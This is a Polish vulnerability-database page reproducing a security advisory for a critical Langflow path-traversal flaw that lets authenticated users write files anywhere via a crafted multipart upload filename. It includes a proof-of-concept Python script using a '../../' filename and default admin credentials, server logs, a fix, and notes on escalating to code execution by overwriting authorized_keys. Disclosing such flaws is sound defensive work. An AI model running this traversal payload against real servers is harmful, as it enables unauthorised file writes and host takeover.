Krytyczna

Langflow has an Arbitrary File Write (RCE) via v2 API

  • Ujawniono: 19.03.2026
  • Aktualizacja: 11.10.2026 12:19

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

  1. API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
  2. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

  1. Sanitize the multipart filename before processing:
python
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")
  1. Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

python
import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) langflow >= 1.2.0, < 1.9.0 1.9.0

Odnośniki

Ocena CVSS 9.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-22, CWE-284, CWE-73, CWE-94
Platforma
Python (PyPI)
Paczka
langflow
Ujawniono
19.03.2026
Aktualizacja
11.10.2026 12:19

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-79 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-g2j9-7rj2-gm6c - CC BY 4.0

Historia podatności: langflow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (42) w archiwum
Wszystkich wpisów
42
Pierwsza → ostatnia
06.2024 10.2026
Bez poprawki
7
Wykorzystywana w atakach
5

Rozkład istotności

  • Krytyczna 15
  • Wysoka 17
  • Średnia 7
  • Niska 3

Ujawnienia w latach

  1. 2024: 4
  2. 2025: 5
  3. 2026: 33
Istotność:
  1. Wysoka · 7.1 CVE-2026-105741 >= 1.5.0, < 1.10.3 1.10.3
  2. Krytyczna · 9.1 CVE-2026-9205 < 1.10.1 1.10.1
  3. Krytyczna · 9.8 CVE-2026-8505 >= 1.7.0, < 1.9.1 1.9.1
  4. Wysoka · 8.8 CVE-2026-7700 >= 1.3.0, < 1.10.3 1.10.3
  5. Krytyczna · 9.6 CVE-2026-48519 < 1.9.2 1.9.2
  6. Krytyczna · 9.6 CVE-2026-42048 < 1.9.0 1.9.0
  7. Wysoka · 7.5 CVE-2026-33484 >= 1.0.0, < 1.9.0 1.9.0
  8. Langflow has an Arbitrary File Write (RCE) via v2 API ten wpis
    Krytyczna · 9.9 CVE-2026-33309 >= 1.2.0, < 1.9.0 1.9.0
Pokaż więcej (12) Widać 20 z 32

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.